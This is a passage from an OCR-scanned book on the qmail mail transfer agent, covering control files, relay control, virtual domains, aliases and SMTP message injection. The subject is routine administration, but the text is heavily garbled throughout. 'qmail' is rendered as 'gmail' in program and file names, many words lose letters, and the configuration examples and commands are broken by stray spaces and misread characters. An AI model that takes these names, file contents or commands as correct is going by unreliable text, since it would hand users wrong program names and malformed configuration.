must be restarted to change concurrencyremote. The maximum allowable concurrencyremote vaue islimited by the
compile-time setting in conf-spawn (see Chapter 2, "Inddling gmail,” for moreinformation on compile-time
configuration settings).

Example: To limit concurrent remote deliveriesto 100, place the following in the concurrencyremotefile:

100

Tip
Thedefault value of 20isfinefor smal
systems, but abusy mail sysem will
requireahigher limit. If your gmail-send
logsindicate that you're frequently
hitting the limit, you should consider
rasngit.

databytes

Used by: gmail-smtpd

Default: O
Comments: No

Purpose: Limitsthe Sze, in bytes, of messagesreceived viaSMTP. A setting of O (zero) means message sizeis
unlimited.

Caveats: Can be overridden by the DATABY TES environment variable. Appliesto bytes as stored on disk, so line
breaks count as one byte (newline) instead of two (carriage return, linefeed). The gmail-smtpd Received line, the
gmail-queue Received line, and the envel ope (sender, recipient) aren't counted.

Example: To restrict SMTP-injected local messages and messages from remote hosts to 2 million bytes, place the
following in the databytesfile

2000000



Tip

defaultdelivery

Used by: ivar/gmail/rc

Default: None

Comments: No

tcpserver can be used to set the
DATABYTES environment variable
higher for aset of hosts trusted to send
larger messages or to set lower limits
for problem hosts. See the " Allowing
SHective Rdaying” section later inthis
chapter for an example of usng
tcpserver to sdlectively set an
environment varigble.

Purpose: Specifiesddivery insructionsfor ddliveriesthat don't usea.gmail file. The defaultddlivery argument to

gmail-gart isthe contents of adefault .gmall file.

Caveats: defaultddivery isnot astandard gmail contral file. It'simplemented in the var/gmail/rc script suggested in
the online"Lifewith gmail” guide and in theingalation instructionsin Chapter 2, "Ingaling gmail," of this book.
Changing defaultddivery requires restarting gmail-send, which is usualy accomplished by doing:

svc -t /service/qgnail-send

Note

defaultdelivery only specifiesthe
ddivery ingructionsthat are used when
none are specified ina .gmail file, so
defaultdelivery can't be used to
Impose sysem-wide ddlivery
ingtructions. However, if usersdon't
have the ability to creste .qmail files
they won't be able to override
defaultdelivery.

Example: Usethe following defaultdelivery file to have default deliveries go through the dot-forward package (for
Sendmail .forward competibility) and to ddliver to mailboxesin /var/spool/mail/user name using procmail:

| dot -forward . forward
| preline procmai



defaultdomain

Used by: gmail-inject
Default: me

Comments: No

Purpose : The domain name supplied to messages whose From field doesn't contain one.

Caveats: Can be overridden by the QMAILDEFAULTDOMAIN environment variable (see Chapter 4, "Usng
gmail,” for more information about gmail-inject environment variables). See dso plusdomain and defaulthost.

Example: To st the default domain to virtud .example.com, place the following in the defaultdomain file:

vi rtual . exanpl e. com

Soif amessageisinjected with aFrom field of andy@v-roys, gmail-inject will changeit to:

From andy@-roys.virtual.exanple.com

defaulthost

Used by: gmail-inject
Default: me

Comments: No

Purpose: The host name supplied to messages whose From field doesn't contain one.

Caveats: Can be overridden by the QVMIAILDEFAULTHOST environment variable (see Chapter 4, "Usng gmail,”
for more information on environment variables). See d so plusdomain and defaultdomain.

Example: To st the default host to judybats, place the following in the defaulthost file:

j udybat s

So if amessageisinjected with aFrom field of andy, and defaultdomain is set to example.com, gmail-inject will



changeit to:

From andy@ udybats. exanpl e. com

doublebouncehost

Used by: gmail-send
Default: me

Comments: No

Purpose: The host name to which messages about undeliverable bounce messages (double bounces) are sent. The
complete recipient address of double bounce messagesis generated from doubl ebounceto @doubl ebouncehost.
Permanently undeliverable double bounces are discarded.

Caveats: gmail-send must be restarted to change doubl ebouncehost.

Example: To have double bounce messages sent to mail.example.com, place the following in the doubl ebouncehost
file

mai | . exanpl e. com

doublebounceto

Used by: gmail-send
Default: postmaster

Comments: No

Pur pose: The user to which messages about undeliverable bounce messages (double bounces) are sent. The
complete recipient address of double bounce messages is generated from doublebounceto @doubl ebouncehost.
Permanently undeliverable double bounces are discarded.

Caveats: gmail-send must be restarted to change doublebounceto.

Example: To have double bounce messages sent to doublebounce-handler on thelocal hogt, leave
doublebouncehost unset and set doublebounceto to:

doubl ebounce- handl er



envnoathost

Used by: gmail-send
Default: me

Comments: No

Purpose: The default host name for envelope recipient addresses that don't contain an a sign (@).

Caveats: None

Example: To have gmail-send gppend @mail .example.net to envelope recipient addresses that don't contain an at
sgn, place thefollowing in the envnoathodt file:

mai | . exanpl e. net

helohost

Used by: gmail-remote
Default: me

Comments: No

Pur pose: Specifiesthe host name used by the SMTP client in the HEL O command.

Caveats: None

Example: To have gmail-remote identify the system as example.net during the initiation of SMTP sessonswith
remote hogts, place the following in the helohost file:

exanpl e. net

idhost

Used by: gmail-inject



Default: me
Comments: No
Pur pose: Specifiesthe host name used in Message-1D header fields generated by gmail-inject.

Caveats: Can be overridden by the QMAILIDHOST environment variable. Must be afully qualified domain name
and must be different on each system.

Example: To prevent the host name from appearing in Message-ID fields, using the domain name
fakename.example.com ingteed, place the following intheidhost file:

f akenane. exanpl e. com

localiphost

Used by: gmail-smtpd
Default: me

Comments: No

Pur pose: Specifiesthe host name that gmail-smtpd will subgtitute for hosts specified as Internet Protocol (1P)
addresses. If amessage arrives addressed to user@[192.168.1.1], and 192.168.1.1 isan | P address of the local
system, gmail-smtpd will rewrite the address as user @l ocaliphost.

Caveats: None
Example: To havelocal IP addresses rewritten as extropy.example.com, place the following in the localiphost file:

ext ropy. exanpl e. com

locals

Used by: gmail-send
Default: me

Comments: Yes



Purpose: Ligt of domain names, one per line, whose messages are to be ddlivered on the local system.

Caveats: Virtua domainsare not consdered local (see dso virtualdomains). The domainslisted in locas should dso
be listed in rcpthosts if you want remote systems to be able to send to them. gmail-send must be sent aHUP signdl
or restarted to change locals.

Example: To identify loca host, myhost.example.com, and www.example.com as diases for the system, place the
falowinginthelocdsfile

| ocal host
myhost . exanpl e. com
ww. exanpl e. com

me

Used by: Vaious
Default: None
Comments: No

Pur pose: Specifiesthefully quaified domain name of the system to be used as a default by various gmail modules for
control filesthat require ahost name. meisusudly set by config or config-fast during ingtalation.

Caveats: Mug beafully qudified domain name. gmail-send must be restarted to change me,

Example: If you rename your system from extract.example.com to dlgrain.example.com, place the following in the
mefile

al I grai n. exanpl e. com

mor er cpthosts

Used by: gmail-smtpd

Default: None

Comments: No



Purpose: An optiona database of rcpthosts entries.

Caveats: Y ou must run gmail-newmrh after modifying morercpthosts to build a new morercpthosts.cadb.

Example: To add virtud .example.net to morercpthosts, execute the following commands:

# echo virtual . exanple.net > /var/qgmail/control/norercpthosts
# gmai | - newnr h

#
Tip
If you have many more than 50 entries
inrcpthosts, leave the 50 most used
entriesthere and put therest in
mor er cpthosts.
per centhack

Used by: gmail-send

Default: None
Comments: Yes

Purpose: A list of domainsto which Sendmail-style "percent hack™ routed addresses can be used. For instance, if
example.com islisted in percenthack, an address like user%domai n@example.com will be changed to user@domain.

Caveats: If any domainislisted in both rcpthosts and percenthack, your system becomes an open relay. For this
reason, percenthack should not be used on systems that accept mail from untrusted hosts. Percent hack routed
addresses are deprecated, and selective relaying, as described later in this chapter, is abetter and safer way to
accomplishthe samegod.

Example: To dlow mail addressed to gateway.example.net to use routed addresses, place the following in the
percenthack file:

gat eway. exanpl e. net

plusdomain

Used by: gmail-inject



Default: me

Comments: No
Purpose: A domain namethat is added to host names ending with aplussign (+).
Caveats: Can be overridden by the QMAILPLUSDOMAIN environment variable.

Example: If you'd like addresseslike user@host.sub+ on localy injected mail to be rewritten to
user@host.sub.example.com, place the following in the plusdomain file:

exanpl e. com

gmapservers

Used by: gmail-gmqgpc

Default: None
Comments: Yes

Purpose: A ligt of the IP addresses of QM QP servers. The serverswill betried in order until gmail-gmapc isableto
connect to aserver or exhauststhe entirelig.

Caveats: None

Example: To specify that gmail-gmapc should first contact the QM QP server at 192.168.1.3, followed by
192.168.1.5, place the following in the gmgpserversfile:

192.168.1.3
192.168.1.5

gueuelifetime

Used by: gmail-send

Default: 604800 seconds (1 week)

Comments: No



Pur pose: The maximum length of time that atemporarily undeliverable message will remain in the queue. When a
message's lifetime expires, onelast attempt is made to deliver the message before the message is bounced as
permanently unddiverable,

Caveats: If it's st too short, some messages will bounce that could have been successfully delivered with alonger
lifetime. If it's set too long, undeliverable messages won't be bounced in atimely manner.

Example: To set the queue lifetime to four days, 60 x 60 x 24 x 4 = 345,600 seconds, place the following in the
queudifetimefile

345600

Tip
Shorter lifetimes (one to two days) are
useful on persona systems because
they provide moretimely indication of
ddivery problems. Longer lifetimes
(four to seven days) are usudly used on
mail servers and hubsto ensureahigh
rate of delivery and resilienceto
temporary network and host outages.

rcpthosts

Used by: gmail-smtpd

Default: None
Comments: Yes

Purpose: Theligt of domainsfor which thelocal server will accept mail via SMTP. The name of this control file
comes from the SMTP RCPT TO command, which identifies the recipient(s) of the message.

Usage: rcpthosts supports wildcard matching of domains. An entry of the form .domain matches dl domain names
ending with .domain.

Caveats: Without arcpthogtsfile, your system will be an open relay accepting mail from remote systemsintended for
users on other remote systems. Generadly, repthosts should contain al hosts listed inlocals and virtualdomains. If the
RELAY CLIENT environment variable is set, gmail-smtpd skips checking repthosts and appends the value of
RELAY CLIENT to each recipient address.



Warning

If you remove the rcpthosts file, your
systemwill immediately becomean
open relay that can be used by junk
mailersto didribute large numbers of
unwanted messagesto their
victims.Y ou probably don't want to
appear to be cooperating in this abuse,
which can result in your server being
blacklisted by other hogts. If you're
ever tempted to removethisfile, you
should enable selectiverdaying as
described later in this chapter.

Example: The example.com mail server haslocahost, example.com, and mail.example.cominlocasand

virtua .example.com in virtud domains. The rcpthogts file should contain

| ocal host
exanpl e. com

mai | . exanpl e. com

vi rtual . exanpl e. com

smtpgreeting

Used by: gmail-smtpd
Default: me

Comments: No

Purpose: Setsthe SMTP greeting banner.

Caveats: Thelocd host name should be the first thing in the greeting. Only thefirst line will be used.

Example: On the host mail.example.com, to add awarning about abuse, place the following in the smtpgreeting file:

mai | . exanpl e. com - =NO UNSOLI Cl TED BULK E- MAIl L=-

Thiswill look like

# telnet 0 25

Trying 0.0.0.0.

Connected to O.

Escape character is '"]'.

220 mmi | . exanpl e. com - =NO UNSCLI Cl TED BULK E- MAl L=- ESMIP
quit



221 mail . exanpl e.com - =NO UNSOLI Cl TED BULK E- MAl L=-
Connection closed by foreign host.
#

Note
Thetelnet command above uses 0
(zero) as short-hand for theloca host.
Theresultsare the sameasusing
localhost, 0.0.0.0, 127.0.0.1, the host
name, or the domain name of theloca
host.

smtproutes

Used by: gmail-remote

Default: None
Comments: Yes

Purpose: Specifies"artificid™ SMTP routes hardwired routes that override Domain Name System (DNS) Mail
eX changer (MX) records.

Usage: The generd format of each entry is. domain:relay|[:port]. If the host part of arecipient address matches
domain, the message will be ddlivered to relay asif relay werethe sole MX listed for domain. If port is specified,
the connection is made to that port number.

Domains may be wildcarded. For example

. exanpl e. net: nai | . exanpl e. net

will match any domain ending in .example.net. And

:mai | . exanpl e. net
will match al domains

The relay field can beleft blank to indicate that M X records should be consulted in the usua manner. So the
following pair of entries:

. exanpl e. net :
:mai | . exanpl e. net



saysthat mail to domains ending with .example.net should be ddivered through their MX records, and al other mail
should be ddlivered through mail.example.net.

Caveats: Be careful to avoid creating routing loops using smtproutes.

Example: To forward al mail for thelocal domain example.com from theloca hogt, perhaps outside afirewall, to a
local hub indde thefirewall, place the following in the smtproutesfile:

. exanpl e. com mai | hub. exanpl e. com
exanpl e. com mai | hub. exanpl e. com

The second lineis necessary because the wildcard in the first line doesn't match example.com.

timeoutconnect

Used by: gmail-remote

Default: 60 seconds

Comments: No

Purpose: Sets the number of secondsthat gmail-remote will wait for a connection to be established with aremote
SMTP server.

Caveats: Most operating systemsimpose a 75-second upper limit oninitial connection timeoLt.

Example: To lower thelimit to 30 seconds, place the following in the timeoutconnect file:

30

timeoutremote

Used by: gmail-remote

Default: 1200 seconds (20 minutes)

Comments: No



Purpose: Setsthe number of seconds that gmail-remote will wait for each response from a command sent to remote
SMTP server.

Caveats: If it's set too short, ddiveriesto some remote systemswill time out. If subsequent retries also time out,
messages will be bounced as permanently undeliverable. If it's set too long, gmail-remote processes that could be
used to deliver to respongve systemswill be occupied trying to ddiver to unresponsve systems, effectively lowering
concurrencyremote.

Example: To lower thelimit to 5 minutes, place the following in the timeoutremotefile:
300

timeoutsmtpd

Used by: gmail-smtpd

Default : 1200 seconds (20 minutes)
Comments: No
Purpose: Setsthe number of secondsthat gmail-smtpd will wait for each communication from an SMTP client.

Caveats: If it's set too short, the system will prematurely terminate connections with dow systemstrying to send mail
into your system. These terminated ddliverieswill haveto beretried later and may eventually be deemed permanently
undeliverable by the sending system. If it's set too long, gmail-smtpd processes will betied up with dow clients,
effectively lowering the SMITP concurrency.

Example: Tolower the limit to five minutes, place the following in the timeoutsmtpd file:

300

virtualdomains

Used by: gmail-send

Default: None
Comments: Yes

Purpose: Definesvirtua domainsand virtud users. Virtual domains are domains with private name spaces, for



example, info@virtua .domain.com is a separate mailbox from info@domain.com, in the local domain. Virtua users
are sngle-addressvirtual domains.

Usage: Virtud domain entries are of the format domain: prepend. A message to user @domain will be converted to
prepend-user and delivered locdly. For example, with thefollowing virtua domains entry:

vi rtual . exanpl e. com j osh-virtua

A message received for info@virtud .example.com will be delivered locally to josh-virtud-info. Theloca user joshis
the manager of the virtua.example.com domain. By creating .gmall filesin hishome directory, he can control the
disposition of mail to any address at virtua .domain.com. To have mail for info@virtua .domain.com redirected to
local user zack, held creste .gmail-virtual-info containing

&zack

Virtud user entriesarein theformat: user @domain: prepend. A message to user @domain will be converted to
prepend-user and ddlivered locally. For example, with the following entry:

hel p@i rtual . exanpl e. com josh-virtua

A message received for hel p@virtua .example.com will be delivered locally to josh-virtud-help. Again, joshisthe
manager of thisvirtud user, which hewill control usng thefile .gmail-virtua-hep in hishome directory.

Virtua userswork exactly like virtua domains except only the addresses specified in virtualdomains are accepted

and managed locally. With avirtud.example.com virtud domain, dl mail for anything @virtua .example.com must be
handled locdly. With a something@virtud.example.com virtud user, only mail for something@virtud.example.com
will be handled locdly. Mail for somethingd se@virtua .example.com will be delivered remotely to the mail exchanger
for virtud .example.com.

Virtud domain entries can contain wildcards. A domain like .example.net matches any domain nameending in
.example.net. An empty domain matches al domain names.

Virtua domain and user entries can contain exceptions. An empty prepend tells gmail-send not to treat matching
addresses as virtual.

Caveats: Domainslisted inlocds are dwaystreated asloca domains. Virtua domains must not belisted in locdls.

Examples: Onthelocal system, example.net, create avirtud domain, virtua.example.net, managed by theloca user
josh. Also create avirtua user, bfie@isp.example.com, which ddiversto loca user bob. Place the following in the
virtuddomainsfile

vi rtual . exanpl e. net:josh-virtua
# Use a virtual user entry to intercept a local user's mail before it's forwarded



# to his ISP
bfi e@ sp. exanpl e. com bob

To useawildcard virtud domain to catch al remote mail, place the following within the virtud domainsfile:

# Redirect renote mail to alias-catchall, e.g., for serialmil forwarding.
# (will be handled by /var/qmil/alias/.qmil-catchall-default)
ralias-catchall

To manage al domains under example.com except example.com and mail.example.com, place the following within
the virtud domainsfile

# Excl ude mai |l . exanpl e. com

mai | . exanpl e. com

# Catch *.exanpl e.com (but not "exanple.cont)
. exanmpl e. com j osh-exampl e
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Relaying

What isrelaying? It'swhen an MTA accepts amessage that is not for alocal address or from alocal sender.
MTAs perform two basic functions: SMTP server and SMTP client. In the server function, they typicaly accept mail
from other systems on the network that's intended for aloca user. In the client function, they do the opposite: They
accept mail from local users and deliver it to other systems on the network.

In the early days of the Internet, it was common for MTAsto be configured as open relays. promiscuous servers that
would accept mail from anyone, for anyone including non-local users. Thisis no longer recommended because
unscrupulous junk mailers use open relaysto ddiver unsolicited bulk e-mail (UBE) or unsolicited commercid e-mall
(UCE). Rather than sending their advertisements directly from their own servers, they use open relays as unwitting
accomplices. The purposeistwofold: Firg, it offloads most of thework of delivering the UBE onto therelay, and,
more importantly, it allows the spammer to hide the origin of the messages, circumventing mechanismsintended to
block messages from known abusers.

Most MTAs now are configured to either completely disable relaying or to only alow certain trusted users or
systemsto usethem asarelay.

How gmail Controls Relaying

We know that relaying occurs when an MTA accepts a message not for alocal address or from alocal sender, so
relay control occurs at the point when new messages enter the system. Obvioudy, amessage injected by running a
shell command on the system, such as gmail-inject or the sendmail wrapper, isfrom aloca user, so gmail doesno
relay control inthis case. That leaves the case of messagesinjected viaSMTP.

When an SMTP client sends a message, gmail-smtpd looks at the domain names of the recipients, which are
gpecified with the SMTP RCPT command. If the domain specified islisted in /var/gmail/control/rcpthosts, the
message is accepted. If it's not listed in repthosts, the message is rg ected with the following message:

553 sorry, that domain isn't in my list of allowed rcpthosts (#5.7.1)

gmail includes amechanism for overriding repthosts for certain clients, which isdiscussed in the " Allowing Sdective
Reaying" section, but in abasic ingalation gmail-smtpd makes no exceptions: Even connections from theloca host
are subjected to the repthosts check. This has been confusing for some new gmail administrators who receive the
previous message when sending amessage using an agent that injectsvia SMTP and they naively interpret it to mean
that rcpthogts contains alist of domainsto which the system will let them send mail. The correct actionis not to add
remote domainsto repthosts, but to configure the local host as a sdlectiverelay, as outlined in the " Allowing Sdective

Relaying" section.




Note
gmail-smtpd does not look at the
envel ope sender addressto determine if
amessageisfromalocd user. That's
because SMTP is unauthenticated, and
SMTP dlients can specify any envelope
sender address they want even one on
your system. Thisisknown as spoofing.

Disabling Relaying

If you followed thedirectionsin the INSTALL filefor ingtaling gmall, rlaying isturned off by default. Thisis
accomplished by populating the file /var/gmail/control/rcpthosts with the fully quaified domain namesliged inlocads
and virtualdomains. If you followed the directionsin Chapter 2, "Ingtdling gmail,” relaying isalowed for SMTP
connections originating from theloca host only.

When you update locals or virtuadomains, be sure to update rcpthosts as well, so gmail-smtpd will know which
domainsarelocal.

Caution
Never remove
Ivar/gmail/control/rcpthosts on a
system accessible from the Internet: It
will make your system an open relay
that will be abused by massmailersas
soon asit's discovered.

Allowing Selective Relaying

There are afew waysto dlow only certain users or systemsto use your mail system asarelay. The smplest method
isto set up afilelisting the hosts trusted not to abuse the relaying privilege. M ore sophisticated mechanismsthat relay
on authentication of the host or client are provided though add-ons and source-code modifications.

Host-Based Relaying

Most single-user and small workgroup servers can disable relaying completely, but if you have to support a
distributed user community, you'll need away to alow your users, and only your users, to use your system asarelay.
Thisisaccomplished by using tcpserver to set the RELAY CLIENT environment variable, which tells gmail-smtpd to
override the rcpthogtsfile.

If you follow theingtdlation ingtructionsin Chapter 2, selectiverdaying will be enabled by default. To giveaclient
relay access, add an entry to /etc/tcp.smtp like this:

| P address of client:allow RELAYCLI ENT=""



Caution
There should be no blank spaces
anywhereonthisline.

For example, to alow the host with the IP address 192.168.1.5 to relay, add the entry

192.168. 1. 5: al | ow, RELAYCLI ENT=""

Y ou can use wildcards. To match 192.168.1.anything:

192.168. 1. : al | ow, RELAYCLI ENT=""

Y ou can dso specify domain names:

=cl i ent. exanpl e. net: al | ow, RELAYCLI ENT=""

Complete documentation for the access control file is on the Web (http://cr.yp.to/ucspi-tcp.html).

Once you've updated /etc/tcp.smtp, rebuild the binary SM TP access data-base used by tcpserver by doing this:

gmai |l ctl cdb

which executesthe following commands:

tcprules /etc/tcp.snmp.cdb /etc/tcp.smp.tnp < /etc/tcp.sntp
chnod 644 /etc/tcp. sntp*

Authenticated Relaying

Host-based sdlective relaying isfineif you know in advance from which hosts your clientswill be sending mail. But
what do you do if they have dynamic host names or roam from one | SP to another and till need to be able to send
mail? Sure, they could reconfigure their MUASs to send mail through the relay provided by the 1 SP they're connected
through, but that'sinconvenient.

The two most common solutions are to require users to authenticate via POP3 or IMAP before allowing relaying, or
to use authenticated SMTP.

Relay-After-POP, Relay-After-IMAP


http://cr.yp.to/ucspi-tcp.html
http://cr.yp.to/ucspi-tcp.html

The concept isssmple: When auser successfully logs into your POP3 or IMAP server, you add their current IP
address to the SM TP access contral file. After areasonable but short period, you purge their address from the
access control file as a precaution againgt abuse by the next user assigned that | P address. Since MUAS periodicaly
reconnect to check for new mail, the user retains relay access aslong as they're connected.

Thanksto gmail's modular architecture, the implementation is aso pretty straightforward. Bruce Guenter's relay-ctrl
package congsts of relay-ctrl-alow, which adds a host to the access database, and relay-ctrl-age, which removes
inactive hogts after 15 minutes. It works with gmail-pop3d and courier-imap. Complete documentation isavailable (
http://untroubled.org/relay-ctrl/). Other relay-after-POP3/IM AP packages are also listed on the Web (
http:/AMmww.gmail.org/).

Tip
Some mailers attempt to send mall
before checking for new mail. Users of
these MUASs should be instructed to
disable thisfeature or expect thefirst
attempt to send messagesto fall
occasondly.

The main advantage of relay-after-POP/IMAP mechanismsis that they're smple and they don't require any support
inthe MUA: If the MUA talks SMTP and either POP3 or IMAP, it will work with relay-after-POP/IMAP.

Authenticated SMTP

Internet RFC 2554 ( http://mww.ietf .org/rfc/rfc2554.txt) added the AUTH command to SMTP. MTAS supporting
the AUTH extension used with MUAs that also support it allow the user to authenticate directly with the SMTP
server. The AUTH extenson isan implementation of the Smple Authentication and Security Layer (SASL) specified
in RFC 2222. gmail does not include AUTH support, but a programmer who goes by the name "Mrs. Brisby" wrote
amodification for gmail-smtpd.c. Another programmer, Krzysztof Dabrowski, enhanced Mrs. Brisby's patch, adding
support for additiona authentication methods. See http:/Mmww.dysium.pl/ members/brusVgmail-smtpd-auth/ for
more information, including generd information about SMTP AUTH and the MTAs and MUASs that support it.

Another approach to authenticated SMTPisthe STARTTLS extension added by RFC 2487. This mechanism
alows servers and clients to authenticate each other using cryptographic certificates. After aclient sendsthe
STARTTLS SMTP command, the remainder of the SMITP session is encrypted which isuseful for protecting the
privacy of messages sent over the Internet. Programmer Frederik Vermeulen hasimplemented STARTTL S for gmail
in the form of a source-code patch ( http://Mmww.esat.kuleuven.ac.be/~vermeule/lgmail/tis.patch). This patch is il
congdered experimental, and MUA support for STARTTLS s less common than AUTH support.

Chapter 7, "Configuring gmail: Advanced Options," coversthe STARTTLS patch.
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Multiple Host Names

If your system isknown by more than one namefor example, if all addresses of the form user @host1.example.com
can a so be written as user @example.com or user @mail.example.com then you need to tell gmail thisso it'll know
which addressesit should deliver locally and which messagesit should accept from remote systems.

Todothis, just add dl of the namesto two contral files:

rcpthosts, which tells gmail-smtpd to accept mail addressed to these hosts

locals, which tells gmail-send that addresses on these hosts are to be delivered locally

Then send the gmail-send processaHUP signd to tdll it to re-read locals:

# qmailctl hup
Sendi ng HUP signal to gmail -send.
#
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Virtual Domains

Virtud domainsare asmilar to the multiple host names discussed in the previous section, but there are some important
differences. Firs, if example.net hoststhe virtua domain virtua .example.com, it's generdly not true that messages
sent to molly@example.net will end up in the same mailbox as messages sent to molly@virtud .example.com. Each
virtua domain hasits own private namespace, which is aso ditinct from the namespace of theloca system.

With gmail, virtuad domains are configured in the virtuadomainsfile, which congsts of one or more entries of the form:

user @onui n: prepend

gmail converts user @domain to prepend-user @domain and treatsthe result asif domain wasloca. The user @
part isoptional. If it'somitted, the entry matches all @domain addresses.

Returning to the previous scenario, if the example.net mail administrator wanted to create avirtuad domain,
virtua .example.com, under the adminigrative control of user john, the following entry in virtua domainswould
accomplish thet:

vi rtual . exanpl e. com j ohn

Anincoming message to paul @virtud .example.com would be rewritten as john-paul @virtua .example.com and
delivered localy. See Chapter 4, "Using gmail,” for more information about how john can manage hisvirtua domain.

Aswith multiple host names, dl virtual domains must be listed in repthosts so gmail-smitpd will know to accept
messages addressed to them. However, unlike multiple host names, virtua domains must not be added to locals.

Remember to send the gmail-send processaHUP signd after modifying virtualdomainsto tell it to re-read thefile:

# gmailctl hup
Sendi ng HUP signal to gmail-send.
#



Note

Domain Name System (DNS) mall
exchanger (M X) records must be set
up to direct messagesfor virtud
domainsto the appropriate mail server.
Thisisajob for the name server
adminigtrator and is beyond the scope
of this book.
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Aliases

gmail's standard aiasing mechanism isanaturd outgrowth of gmail'sloca delivery mechanism. gmail-locd attempts
to deliver amessage addressed to local part@host to aloca user named local part. If no matching user isfound, the
message is delivered to the dias user, a pseudo-user on dl gmail systemswhose home directory isusualy
Ivarlgmail/dias.

For example, say you want to create an info@example.com dias that forwards messages to user zack. On
example.com as user root, do this:

# echo zack > /var/qgmail/alias/.gmil-info
# chnod 644 /var/qmail/alias/.qmail-info
#

Chapter 4, "Using gmail," describes how to creste the .gmall filesthat specify which diases exist and what to do with
messages sent to them.

Note that because of theway aiases areimplemented in gmail, an dias can never overrideavaid user'sdeliveries.
For example, if rachel isanormal user, then ~adias/.gmail-rache will not be used. An exception to thisruleisthe
gmail-users mechanism discussed in the next section.

The fastforward package provides an dternative diasing mechanism that puts multiple diasesin asinglefile
compatible with Sendmail's dlias database.

The next section describes another mechanism you can use to implement diases.
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The gmail-users Mechanism

gmail-usersisasystem for assgning addressesto users. Normaly, loca ddliveries are handled by gmail-lspawn,
which runs gmail-getpw to determine which user the address belongs to, where their home directory resides, their
UID, GID, and the breakdown of the addressif it's an extension address.

However, if thefile var/gmail/userg/cdb exigts, gmail-lspawn attemptsto ook up the delivery detailstherefirst. The
userscdb fileisabinary database generated from users/assgn using the gmail-newu command. Theassgnfileisa
table of assgnments. There are two kinds of assignments. smple and wildcard.

Note
assign contains aseries of assgnments,
one per ling, followed by aline
containing asingledot (.). If you creste
assign manualy, don't forget to add the
"dot" line.

Simple Assignment

A dmple assignment lookslike

=addr ess: user: ui d: gi d: di rectory: dash: ext ensi on:

What this meansis that messages received for address will run asuser user, with the specified uid and gid, and the
file directory/ .gmeail dashextension will specify how the messages are to be delivered.

For example, say you want mail for the loca recipient info to be handled by user andy (UID=35, GID=20,
directory=/home/andy) using the file/home/andy/.gmail-info. The following smple assignment will accomplish that:

=i nf 0: andy: 35: 20: / hone/ andy: - : i nf o:

Note
If multiple smple ass gnments specify
the same address, gmail-lspawn will
usethefirst one.

Wildcard Assignment



A wildcard assgnment lookslike

+prefix:user:uid:gid:directory: dash: prepend:

What this meansisthat messages received for addresses of the form prefixrest will run asuser user, with the
specified uid and gid, and thefile directory/.gmail dashprependrest will specify how the messages areto be
delivered.

For example, given the following wildcard assgnment:

+andy- : andy: 35: 20: / hone/ andy: -:

A message for andy-info will be ddivered as user andy using the directionsin /home/andy/.gmail-info.

Note
More specific wildcard assgnments
take precedence over less specific
wildcard assgnments, and smple
assignments take precedence over
wildcard assgnments.

gmail-users Programs

gmail-users has two hel per programs. gmail-newu and gmail-pw?2u. gmail-newu processes the assign fileand
generates a congtant database (CDB) file called cdb in /var/gmail/users. CDB isabinary (machine readable, not
human readable) format that can be accessed quickly by gmail-lspawn, even when there are thousands of
assgnments.

gmail-pw2u converts the system user database, /etc/passvd, into a series of assgnments suitable for assign.
gmail-pw2u uses aset of filesto modify thetrandation rules:

include specific userstoincludein assign
exclude specific usersto exclude from assign

mailnames dternative "malnames’ for usars

subusers extraaddresses handled by a user, with an optiona .gmail extension



gppend miscd laneous assgnments

Caution

If you use gmail-pw2u, don't forget to
re-run gmail-pw2u and gmail-newu
whenever you add users, remove users,
change UIDs, or change GIDs.
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Conclusion

In this chapter you've learned about gmail's control files: what they do and how to change them. Y ou've learned
about relaying: the dangers of being an open relay and how to enable selective relaying based on host identification or
user or host authentication. Y ou've aso learned how to configure gmail to support multiple domain names, both
native and virtualy hosted. And findly, you've learned how to use gmail's basic dias mechanism and gmail-usersto
map addresses to local mailboxes.

In Chapter 4, "Using gmail," you'll learn how users can manage their mail-boxes, control the appearance of the
messages they send, and use the utilities provided by gmail for processing incoming mail and managing mailboxes.

< Free Open Study >




< Free Open Study >

Chapter 4. Using gmail

This chapter describes how to use gmall. If you read or send mail on agmail system, thisiswhere you'l find
information about how to do that more effectively.

Overview

This chapter coversthe following topics:

Usersinteract with gmail whether they redlize it or not at two times. when they send messages and when they
recelve messages. Although the Mail User Agent (MUA) is primarily responsible for the format of outgoing
messages, the user can control some aspects of an outgoing message's appearance through the environment
variables used by gmail-inject. This chapter documents these environment variables and provides examples
of their uses.

For incoming mail, users can control the disposition of messages and manage their private address space
through .gmall files. For Sendmail compatibility, the dot-forward package alows usersto control the
disposition of messages with .forward files. This chapter covers both .gmail and .forward files.

gmall soincludesaset of user utilitiesincluding toolsfor .gmail files and for managing mailboxes. Well
describe these utilities and give examples of how you can use them.
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Sending M essages

Mail usersdon't usually usethe Mail Transfer Agent (MTA) directly to send messages. Typicaly, messages are
composed and sent using an MUA such as Pine or Muitt, which then callsthe MTA to deliver the message. The
process of handing anew messageto the MTA iscaled injection.

There are two waysto inject messagesinto most MTAs. viathe Smple Mail Transfer Protocol (SMTP) or by using
aprogram provided by the MTA for that purpose.

SMTP Injection

MUASs can open a TCP connection to port 25, the standard SMTP port, on the loca host or a designated mail
server. The MUA and the M TA then engage in adialogue that resultsin either

The message being transferred to the MTA

An error status being returned to the MUA

Alternatively, MUAS can invoke the SMTP daemon directly by running gmail-smtpd, but thisis not acommon
practice.

Plain SMTP has no authentication mechanism, so no username or password is required to send a message.
However, many MTASs refuse to accept messages that don't appear to be either from or for aloca user. If a
properly formatted message is rgjected, such restrictions are the most likely cause. See Chapter 3, "Configuring
gmail: TheBadcs" for more information about relay configuration.

Normaly, SMTPinjection is performed by an MUA, o it's transparent to the user. Occasiondly it's convenient to
manualy inject amessage via SM TP, usudly for troubleshooting mail delivery problems. Of course, it can dso be
used to forge messages from third parties because SVITP is unauthenticated.

See Appendix C, "An Internet Mail Primer,” for information about SMTP.

Example



The example.net mail adminigtrator isinvestigating problems delivering mail to the example.com system. She uses
telnet to open a connection to the SMTP daemon on example.com and inject a test message to the postmaster:

$ tel net exanpl e.com 25

Trying 192.168. 1.5.

Connected to exanpl e. com

Escape character Is '~]'.

220 exanpl e. com ESMIP

hel o exanpl e. net

250 exanpl e. com

mai | from <post mast er @xanpl e. net >
250 ok

rcpt to: <postnaster @xanpl e. conr
250 ok

dat a

354 go ahead

From postnast er @xanpl e. net

To: postnast er @xanpl e. com

Subj ect: testing

Pl ease ignore

250 ok 989155531 qp 15669

quit

221 exanpl e. com

Connection closed by foreign host.
$

sendmail I njection

For many years, Sendmail was the Unix MTA. It was so ubiquitous that many programmers assumed it was
avalableon dl systems. Asaresult, Sendmail'slocd injection mechanism became the de facto standard
